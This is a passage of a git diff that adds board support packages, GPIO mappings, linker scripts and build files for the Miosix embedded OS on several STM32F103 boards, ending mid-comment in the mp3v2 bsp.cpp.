b/miosix/arch/board/stm32f103c8_bluepill/interfaces-impl/bsp.cpp new file mode 100644 index 000000000..ad7dee94d --- /dev/null +++ b/miosix/arch/board/stm32f103c8_bluepill/interfaces-impl/bsp.cpp @@ -0,0 +1,141 @@ +/*************************************************************************** + * Copyright (C) 2011, 2012, 2013, 2014 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp.cpp Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#include +#include +#include +#include "interfaces/bsp.h" +#include "interfaces_private/bsp_private.h" +#include "kernel/thread.h" +#include "kernel/sync.h" +#include "interfaces/delays.h" +#include "interfaces/poweroff.h" +#include "interfaces/arch_registers.h" +#include "miosix_settings.h" +#include "kernel/logging.h" +#include "filesystem/file_access.h" +#include "filesystem/console/console_device.h" +#include "interfaces/serial.h" +#include "drivers/dcc.h" +#include "board_settings.h" + +namespace miosix { + +// +// Initialization +// + +void IRQbspInit() +{ + //Enable all gpios + RCC->APB2ENR |= RCC_APB2ENR_IOPAEN | RCC_APB2ENR_IOPBEN | + RCC_APB2ENR_IOPCEN | RCC_APB2ENR_IOPDEN | + RCC_APB2ENR_AFIOEN; + RCC_SYNC(); + _led::mode(Mode::OUTPUT_2MHz); + ledOn(); + delayMs(100); + ledOff(); + IRQsetDefaultConsole(intrusive_ref_ptr( + #ifndef STDOUT_REDIRECTED_TO_DCC + STM32SerialBase::get( + defaultSerial,defaultSerialSpeed, + defaultSerialFlowctrl,defaultSerialDma) + #else //STDOUT_REDIRECTED_TO_DCC + new ARMDCC + #endif //STDOUT_REDIRECTED_TO_DCC + )); +} + +void bspInit2() +{ +// #ifdef WITH_FILESYSTEM +// basicFilesystemSetup(); +// #endif //WITH_FILESYSTEM +} + +// +// Shutdown and reboot +// + +/** +This function disables filesystem (if enabled), serial port (if enabled) and +puts the processor in deep sleep mode.
+Wakeup occurs when PA.0 goes high, but instead of sleep(), a new boot happens. +
This function does not return.
+WARNING: close all files before using this function, since it unmounts the +filesystem.
+When in shutdown mode, power consumption of the miosix board is reduced to ~ +5uA??, however, true power consumption depends on what is connected to the GPIO +pins. The user is responsible to put the devices connected to the GPIO pin in the +minimal power consumption mode before calling shutdown(). Please note that to +minimize power consumption all unused GPIO must not be left floating. +*/ +void shutdown() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + #ifdef WITH_FILESYSTEM + FilesystemManager::instance().umountAll(); + #endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + + /* + Removed because low power mode causes issues with SWD programming + RCC->APB1ENR |= RCC_APB1ENR_PWREN; //Fuckin' clock gating... + RCC_SYNC(); + PWR->CR |= PWR_CR_PDDS; //Select standby mode + PWR->CR |= PWR_CR_CWUF; + PWR->CSR |= PWR_CSR_EWUP; //Enable PA.0 as wakeup source + + SCB->SCR |= SCB_SCR_SLEEPDEEP; + __WFE(); + NVIC_SystemReset(); + */ + for(;;) ; +} + +void reboot() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + #ifdef WITH_FILESYSTEM + FilesystemManager::instance().umountAll(); + #endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + IRQsystemReboot(); +} + +} //namespace miosix diff --git a/miosix/arch/board/stm32f103c8_bluepill/interfaces-impl/bsp_impl.h b/miosix/arch/board/stm32f103c8_bluepill/interfaces-impl/bsp_impl.h new file mode 100644 index 000000000..bb690083e --- /dev/null +++ b/miosix/arch/board/stm32f103c8_bluepill/interfaces-impl/bsp_impl.h @@ -0,0 +1,66 @@ +/*************************************************************************** + * Copyright (C) 2011 by Terraneo Federico * + * Copyright (C) 2016 by Silvano Seva * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp_impl.h Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#pragma once + +#include "miosix_settings.h" +#include "interfaces/gpio.h" + +namespace miosix { + +/** +\addtogroup Hardware +\{ +*/ + +/** + * \internal + * used by the ledOn() and ledOff() implementation + */ +typedef Gpio _led; + +inline void ledOn() +{ + _led::low(); +} + +inline void ledOff() +{ + _led::high(); +} + +/** +\} +*/ + +} //namespace miosix diff --git a/miosix/arch/board/stm32f103c8_bluepill/unikernel.ld b/miosix/arch/board/stm32f103c8_bluepill/unikernel.ld new file mode 100644 index 000000000..54be02ab7 --- /dev/null +++ b/miosix/arch/board/stm32f103c8_bluepill/unikernel.ld @@ -0,0 +1,13 @@ +/* + * Linker script for stm32f103 + * For compiling Miosix as a unikernel. + * Allocates all RAM for the kernel and kernelspace application, no process pool + */ + +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 64K + ram(wx) : ORIGIN = 0x20000000, LENGTH = 20K +} + +INCLUDE ldscripts/miosix-flash-ram.ld diff --git a/miosix/arch/board/stm32f103cb_als_mainboard_rev2/CMakeLists.txt b/miosix/arch/board/stm32f103cb_als_mainboard_rev2/CMakeLists.txt new file mode 100644 index 000000000..144fddaef --- /dev/null +++ b/miosix/arch/board/stm32f103cb_als_mainboard_rev2/CMakeLists.txt @@ -0,0 +1,32 @@ +## +## CMakeLists.txt for board stm32f103cb_als_mainboard_rev2 +## + +# Directory with header files for this board +set(MIOSIX_CHIP_INC ${CMAKE_CURRENT_SOURCE_DIR}/arch/chip/stm32f1) + +# Linker script options +# Each script in the list may be followed by the compiler options it requires +# These options are automatically added to the C/CXX compiler command line when +# that linker script is selected +set(MIOSIX_LINKER_SCRIPT_LIST + unikernel.ld +) +set(MIOSIX_DEFAULT_LINKER_SCRIPT unikernel.ld) + +# Select architecture specific files +set(MIOSIX_BOARD_SRC + ${MIOSIX_BOARD_INC}/boot.cpp + ${MIOSIX_BOARD_INC}/interfaces-impl/bsp.cpp +) + +# Add a #define to allow querying board name +set(MIOSIX_BOARD_C_FLAGS -D_BOARD_ALS_MAINBOARD_REV2) +set(MIOSIX_BOARD_CXX_FLAGS -D_BOARD_ALS_MAINBOARD_REV2) + +# Specify a custom flash command +# This is the program that is invoked when the program- target is +# built. Use or as placeolders, they will be replaced by the +# build systems with the binary or hex file path repectively. +# If a command is not specified, the build system will fallback to st-flash +set(PROGRAM_CMDLINE stm32flash -w -v /dev/ttyUSB0) diff --git a/miosix/arch/board/stm32f103cb_als_mainboard_rev2/Makefile.inc b/miosix/arch/board/stm32f103cb_als_mainboard_rev2/Makefile.inc new file mode 100644 index 000000000..04cafd077 --- /dev/null +++ b/miosix/arch/board/stm32f103cb_als_mainboard_rev2/Makefile.inc @@ -0,0 +1,28 @@ +## +## Makefile for board stm32f103cb_als_mainboard_rev2 +## Included by Makefile.inc based on the board currently selected +## + +## Base directory with header files for this board +CHIP_INC := arch/chip/stm32f1 + +## Select linker script +LINKER_SCRIPT := unikernel.ld + +## Select architecture specific files +## These are the files in arch// +BOARD_SRC := \ +$(BOARD_INC)/boot.cpp \ +$(BOARD_INC)/interfaces-impl/bsp.cpp + +## Add a #define to allow querying board name +BOARD_CFLAGS := -D_BOARD_ALS_MAINBOARD_REV2 +BOARD_CXXFLAGS := -D_BOARD_ALS_MAINBOARD_REV2 + +## Select programmer command line +## This is the program that is invoked when the user types +## 'make program' +## The command must provide a way to program the board, or print an +## error message saying that 'make program' is not supported for that +## board. +PROG ?= stm32flash -w $(if $(ROMFS_DIR), image.bin, main.bin) -v /dev/ttyUSB0 diff --git a/miosix/arch/board/stm32f103cb_als_mainboard_rev2/boot.cpp b/miosix/arch/board/stm32f103cb_als_mainboard_rev2/boot.cpp new file mode 100644 index 000000000..bc39fae6c --- /dev/null +++ b/miosix/arch/board/stm32f103cb_als_mainboard_rev2/boot.cpp @@ -0,0 +1,39 @@ +/*************************************************************************** + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +extern "C" void SystemInit(); + +namespace miosix { + +void IRQmemoryAndClockInit() +{ + // Currently we use the code provided by ST (with our modifications) to + // handle the memory and clock initialization process. + SystemInit(); +} + +} // namespace miosix diff --git a/miosix/arch/board/stm32f103cb_als_mainboard_rev2/interfaces-impl/arch_registers_impl.h b/miosix/arch/board/stm32f103cb_als_mainboard_rev2/interfaces-impl/arch_registers_impl.h new file mode 100644 index 000000000..45dba7079 --- /dev/null +++ b/miosix/arch/board/stm32f103cb_als_mainboard_rev2/interfaces-impl/arch_registers_impl.h @@ -0,0 +1,19 @@ +#pragma once + +//Always include stm32f10x.h before core_cm3.h, there's some nasty dependency +#define STM32F103xB +#include "CMSIS/Device/ST/STM32F1xx/Include/stm32f1xx.h" +#include "CMSIS/Include/core_cm3.h" +#include "CMSIS/Device/ST/STM32F1xx/Include/system_stm32f1xx.h" + +//RCC_SYNC is a Miosix-defined primitive for synchronizing the CPU with the +//STM32 RCC (Reset and Clock Control) peripheral after modifying peripheral +//clocks/resets. This is necessary on almost all stm32s starting from stm32f2xx, +//as observed experimentally across a variety of microcontrollers and also +//according to the errata and more recent reference manuals. To be extra safe +//it is defined to a __DSB() on all stm32s (even those that according to the +//documentation don't need it). +#define RCC_SYNC() __DSB() + +//Peripheral interrupt start from 0 and the last one is 42, so there are 43 +#define MIOSIX_NUM_PERIPHERAL_IRQ 43 diff --git a/miosix/arch/board/stm32f103cb_als_mainboard_rev2/interfaces-impl/bsp.cpp b/miosix/arch/board/stm32f103cb_als_mainboard_rev2/interfaces-impl/bsp.cpp new file mode 100644 index 000000000..201212d2d --- /dev/null +++ b/miosix/arch/board/stm32f103cb_als_mainboard_rev2/interfaces-impl/bsp.cpp @@ -0,0 +1,184 @@ +/*************************************************************************** + * Copyright (C) 2012, 2013, 2014, 2015 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** + * bsp.cpp Part of the Miosix Embedded OS. + * Board support package, this file initializes hardware. + ************************************************************************/ + +#include +#include +#include +#include "interfaces/bsp.h" +#include "interfaces_private/bsp_private.h" +#include "kernel/thread.h" +#include "kernel/sync.h" +#include "interfaces/delays.h" +#include "interfaces/poweroff.h" +#include "interfaces/arch_registers.h" +#include "miosix_settings.h" +#include "kernel/logging.h" +#include "filesystem/file_access.h" +#include "filesystem/console/console_device.h" +#include "interfaces/serial.h" +#include "drivers/dcc.h" +#include "board_settings.h" + +namespace miosix { + +// +// Initialization +// + +void IRQbspInit() +{ + //Enable all GPIOs + RCC->APB2ENR |= RCC_APB2ENR_IOPAEN + | RCC_APB2ENR_IOPBEN + | RCC_APB2ENR_IOPCEN + | RCC_APB2ENR_IOPDEN + | RCC_APB2ENR_AFIOEN; + RCC_SYNC(); + //Port config (H=high, L=low, PU=pullup, PD=pulldown) + // | PORTA | PORTB | PORTC | PORTD | + //--+--------------+-------------+---------+---------+ + // 0| IN | IN PD | - | IN PD | + // 1| IN PU | IN PD | - | IN PD | + // 2| IN | IN PD | - | - | + // 3| IN PD | IN PD | - | - | + // 4| OUT H 10MHz | IN PD | - | - | + // 5| AF5 10MHz | IN PD | - | - | + // 6| AF5 10MHz | IN PD | - | - | + // 7| AF5 10MHz | IN PD | - | - | + // 8| OUT L 10MHz | IN PD | - | - | + // 9| AF7 400KHz | IN PD | - | - | + //10| IN PU | IN PD | - | - | PA10 was AF7PU + //11| IN PD | OUT L 10MHz | - | - | + //12| IN PD | OUT L 10MHz | - | - | + //13| OUT L 400KHz | OUT L 10MHz | IN PD | - | + //14| OUT H 400KHz | OUT L 10MHz | AF0 | - | + //15| OUT L 400KHz | OUT L 10MHz | AF0 | - | + + GPIOA->CRL=0x99918484; + GPIOA->CRH=0x222888a1; + GPIOB->CRL=0x88888888; + GPIOB->CRH=0x11111888; + GPIOC->CRH=0x99844444; + GPIOD->CRL=0x44444488; + + GPIOA->ODR=0x4412; + GPIOB->ODR=0x0000; + GPIOC->ODR=0x0000; + GPIOD->ODR=0x0000; + + AFIO->MAPR=AFIO_MAPR_SWJ_CFG_2 | AFIO_MAPR_PD01_REMAP; + + RCC->APB1ENR |= RCC_APB1ENR_PWREN; + RCC_SYNC(); + PWR->CR |= PWR_CR_DBP //Enable access to RTC registers + | PWR_CR_PLS_0 //Select 2.3V trigger point for low battery + | PWR_CR_PVDE //Enable low battery detection + | PWR_CR_LPDS; //Put regulator in low power when entering stop + RCC->BDCR |= RCC_BDCR_LSEON //External 32KHz oscillator enabled + | RCC_BDCR_RTCEN //RTC enabled + | RCC_BDCR_RTCSEL_0; //Select LSE as clock source for RTC + while((RCC->BDCR & RCC_BDCR_LSERDY)==0) ; //Wait + RCC->APB2ENR |= RCC_APB2ENR_SPI1EN; + SPI1->CR1=SPI_CR1_SSM //handle CS in software + | SPI_CR1_SSI //internal CS tied high + | SPI_CR1_SPE //SPI enabled (speed 8MHz) + | SPI_CR1_MSTR; //Master mode + + ledOn(); + delayMs(100); + ledOff(); + + IRQsetDefaultConsole(intrusive_ref_ptr( + STM32SerialBase::get( + defaultSerial,defaultSerialSpeed, + defaultSerialFlowctrl,defaultSerialDma))); +} + +void bspInit2() +{ + //No SDIO peripheral in medium-density stm32, so no filesystem +} + +static void spi1send(unsigned char data) +{ + SPI1->DR=data; + while((SPI1->SR & SPI_SR_RXNE)==0) ; //Wait +} + +// +// Shutdown and reboot +// + +void shutdown() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + FastGlobalIrqLock::lock(); + + //Put outputs in low power mode + led::low(); + hpled::high(); + sen::low(); + + //Put cam in low power mode + cam::en::low(); + cam::cs::mode(Mode::INPUT); cam::cs::pulldown(); + cam::sck::mode(Mode::INPUT); cam::sck::pulldown(); + cam::miso::mode(Mode::INPUT); cam::miso::pulldown(); + cam::mosi::mode(Mode::INPUT); cam::mosi::pulldown(); + + //Put nrf in low power mode + nrf::ce::low(); + nrf::cs::low(); + spi1send(0x20 | 0); //Write to reg 0 + spi1send(0x8); //PWR_UP=0 + nrf::cs::high(); + nrf::miso::mode(Mode::INPUT); nrf::miso::pulldown(); //nrf miso goes tristate if cs high + + EXTI->IMR=0; //All IRQs masked + EXTI->PR=0x7fffff; //Clear eventual pending request + SCB->SCR |= SCB_SCR_SLEEPDEEP_Msk; //Select stop mode + __WFI(); //And it goes to sleep till a reset + //Should never reach here + IRQsystemReboot(); +} + +void reboot() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + FastGlobalIrqLock::lock(); + IRQsystemReboot(); +} + +} //namespace miosix diff --git a/miosix/arch/board/stm32f103cb_als_mainboard_rev2/interfaces-impl/bsp_impl.h b/miosix/arch/board/stm32f103cb_als_mainboard_rev2/interfaces-impl/bsp_impl.h new file mode 100644 index 000000000..e1c6f001b --- /dev/null +++ b/miosix/arch/board/stm32f103cb_als_mainboard_rev2/interfaces-impl/bsp_impl.h @@ -0,0 +1,46 @@ +/*************************************************************************** + * Copyright (C) 2012, 2013, 2014, 2015 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp_impl.h Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#ifndef BSP_IMPL_H +#define BSP_IMPL_H + +#include "miosix_settings.h" +#include "hwmapping.h" + +namespace miosix { + +inline void ledOn() { led::high(); } +inline void ledOff() { led::low(); } + +} + +#endif //BSP_IMPL_H diff --git a/miosix/arch/board/stm32f103cb_als_mainboard_rev2/interfaces-impl/hwmapping.h b/miosix/arch/board/stm32f103cb_als_mainboard_rev2/interfaces-impl/hwmapping.h new file mode 100644 index 000000000..71c662cb4 --- /dev/null +++ b/miosix/arch/board/stm32f103cb_als_mainboard_rev2/interfaces-impl/hwmapping.h @@ -0,0 +1,66 @@ +/*************************************************************************** + * Copyright (C) 2012, 2013, 2014, 2015 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#ifndef HWMAPPING_H +#define HWMAPPING_H + +#include "interfaces/gpio.h" + +namespace miosix { + +typedef Gpio strig; +typedef Gpio button; +typedef Gpio led; +typedef Gpio hpled; +typedef Gpio sen; + +namespace nrf { +typedef Gpio irq; +typedef Gpio cs; +typedef Gpio sck; +typedef Gpio miso; +typedef Gpio mosi; +typedef Gpio ce; +} + +namespace cam { +typedef Gpio irq; +typedef Gpio en; +typedef Gpio cs; +typedef Gpio sck; +typedef Gpio miso; +typedef Gpio mosi; +} + +namespace serial { +typedef Gpio tx; +typedef Gpio rx; +} + +} //namespace miosix + +#endif //HWMAPPING_H diff --git a/miosix/arch/board/stm32f103cb_als_mainboard_rev2/unikernel.ld b/miosix/arch/board/stm32f103cb_als_mainboard_rev2/unikernel.ld new file mode 100644 index 000000000..b5557224e --- /dev/null +++ b/miosix/arch/board/stm32f103cb_als_mainboard_rev2/unikernel.ld @@ -0,0 +1,13 @@ +/* + * Linker script for stm32f103 + * For compiling Miosix as a unikernel. + * Allocates all RAM for the kernel and kernelspace application, no process pool + */ + +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 128K + ram(wx) : ORIGIN = 0x20000000, LENGTH = 20K +} + +INCLUDE ldscripts/miosix-flash-ram.ld diff --git a/miosix/arch/board/stm32f103ve_mp3v2/CMakeLists.txt b/miosix/arch/board/stm32f103ve_mp3v2/CMakeLists.txt new file mode 100644 index 000000000..f0b064d98 --- /dev/null +++ b/miosix/arch/board/stm32f103ve_mp3v2/CMakeLists.txt @@ -0,0 +1,33 @@ +## +## CMakeLists.txt for board stm32f103ve_mp3v2 +## + +# Directory with header files for this board +set(MIOSIX_CHIP_INC ${CMAKE_CURRENT_SOURCE_DIR}/arch/chip/stm32f1) + +# Linker script options +# Each script in the list may be followed by the compiler options it requires +# These options are automatically added to the C/CXX compiler command line when +# that linker script is selected +set(MIOSIX_LINKER_SCRIPT_LIST + unikernel.ld +) +set(MIOSIX_DEFAULT_LINKER_SCRIPT unikernel.ld) + +# Select architecture specific files +set(MIOSIX_BOARD_SRC + ${MIOSIX_BOARD_INC}/boot.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/sdmmc/stm32f1_sd.cpp + ${MIOSIX_BOARD_INC}/interfaces-impl/bsp.cpp +) + +# Add a #define to allow querying board name +set(MIOSIX_BOARD_C_FLAGS -D_BOARD_MP3V2) +set(MIOSIX_BOARD_CXX_FLAGS -D_BOARD_MP3V2) + +# Specify a custom flash command +# This is the program that is invoked when the program- target is +# built. Use or as placeolders, they will be replaced by the +# build systems with the binary or hex file path repectively. +# If a command is not specified, the build system will fallback to st-flash +set(PROGRAM_CMDLINE mp3v2_bootloader --code ) diff --git a/miosix/arch/board/stm32f103ve_mp3v2/Makefile.inc b/miosix/arch/board/stm32f103ve_mp3v2/Makefile.inc new file mode 100644 index 000000000..ae81b3b67 --- /dev/null +++ b/miosix/arch/board/stm32f103ve_mp3v2/Makefile.inc @@ -0,0 +1,29 @@ +## +## Makefile for board stm32f103ve_mp3v2 +## Included by Makefile.inc based on the board currently selected +## + +## Base directory with header files for this board +CHIP_INC := arch/chip/stm32f1 + +## Select linker script +LINKER_SCRIPT := unikernel.ld + +## Select architecture specific files +## These are the files in arch// +BOARD_SRC := \ +$(BOARD_INC)/boot.cpp \ +arch/drivers/sdmmc/stm32f1_sd.cpp \ +$(BOARD_INC)/interfaces-impl/bsp.cpp + +## Add a #define to allow querying board name +BOARD_CFLAGS := -D_BOARD_MP3V2 +BOARD_CXXFLAGS := -D_BOARD_MP3V2 + +## Select programmer command line +## This is the program that is invoked when the user types +## 'make program' +## The command must provide a way to program the board, or print an +## error message saying that 'make program' is not supported for that +## board. +PROG ?= mp3v2_bootloader --code $(if $(ROMFS_DIR), image.bin, main.bin) diff --git a/miosix/arch/board/stm32f103ve_mp3v2/boot.cpp b/miosix/arch/board/stm32f103ve_mp3v2/boot.cpp new file mode 100644 index 000000000..bc39fae6c --- /dev/null +++ b/miosix/arch/board/stm32f103ve_mp3v2/boot.cpp @@ -0,0 +1,39 @@ +/*************************************************************************** + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +extern "C" void SystemInit(); + +namespace miosix { + +void IRQmemoryAndClockInit() +{ + // Currently we use the code provided by ST (with our modifications) to + // handle the memory and clock initialization process. + SystemInit(); +} + +} // namespace miosix diff --git a/miosix/arch/board/stm32f103ve_mp3v2/interfaces-impl/arch_registers_impl.h b/miosix/arch/board/stm32f103ve_mp3v2/interfaces-impl/arch_registers_impl.h new file mode 100644 index 000000000..3b976b7a4 --- /dev/null +++ b/miosix/arch/board/stm32f103ve_mp3v2/interfaces-impl/arch_registers_impl.h @@ -0,0 +1,19 @@ +#pragma once + +//Always include stm32f10x.h before core_cm3.h, there's some nasty dependency +#define STM32F103xE +#include "CMSIS/Device/ST/STM32F1xx/Include/stm32f1xx.h" +#include "CMSIS/Include/core_cm3.h" +#include "CMSIS/Device/ST/STM32F1xx/Include/system_stm32f1xx.h" + +//RCC_SYNC is a Miosix-defined primitive for synchronizing the CPU with the +//STM32 RCC (Reset and Clock Control) peripheral after modifying peripheral +//clocks/resets. This is necessary on almost all stm32s starting from stm32f2xx, +//as observed experimentally across a variety of microcontrollers and also +//according to the errata and more recent reference manuals. To be extra safe +//it is defined to a __DSB() on all stm32s (even those that according to the +//documentation don't need it). +#define RCC_SYNC() __DSB() + +//Peripheral interrupt start from 0 and the last one is 59, so there are 60 +#define MIOSIX_NUM_PERIPHERAL_IRQ 60 diff --git a/miosix/arch/board/stm32f103ve_mp3v2/interfaces-impl/bsp.cpp b/miosix/arch/board/stm32f103ve_mp3v2/interfaces-impl/bsp.cpp new file mode 100644 index 000000000..6a06ecba1 --- /dev/null +++ b/miosix/arch/board/stm32f103ve_mp3v2/interfaces-impl/bsp.cpp @@ -0,0 +1,120 @@ +/*************************************************************************** + * Copyright (C) 2010, 2011, 2012, 2013, 2014 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp.cpp Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#include +#include +#include +#include "interfaces/bsp.h" +#include "interfaces_private/bsp_private.h" +#include "kernel/thread.h" +#include "kernel/sync.h" +#include "interfaces/delays.h" +#include "interfaces/poweroff.h" +#include "interfaces/arch_registers.h" +#include "miosix_settings.h" +#include "kernel/logging.h" +#include "filesystem/file_access.h" +#include "filesystem/console/console_device.h" +#include "interfaces/serial.h" +#include "drivers/sdmmc/stm32f1_sd.h" +#include "board_settings.h" + +namespace miosix { + +// +// Initialization +// + +void IRQbspInit() +{ + //On this board this part of the initialization is done by the bootloader + ledOn(); + delayMs(100); + ledOff(); + IRQsetDefaultConsole(intrusive_ref_ptr( + STM32SerialBase::get( + defaultSerial,defaultSerialSpeed, + defaultSerialFlowctrl,defaultSerialDma))); +} + +void bspInit2() +{ + #ifdef WITH_FILESYSTEM + basicFilesystemSetup(SDIODriver::instance()); + #endif //WITH_FILESYSTEM +} + +// +// Shutdown and reboot +// + +/** +This function disables filesystem (if enabled), serial port (if enabled) and +puts the processor in deep sleep mode.
+Wakeup occurs when PA.0 goes high, but instead of sleep(), a new boot happens. +
This function does not return.
+WARNING: close all files before using this function, since it unmounts the +filesystem.
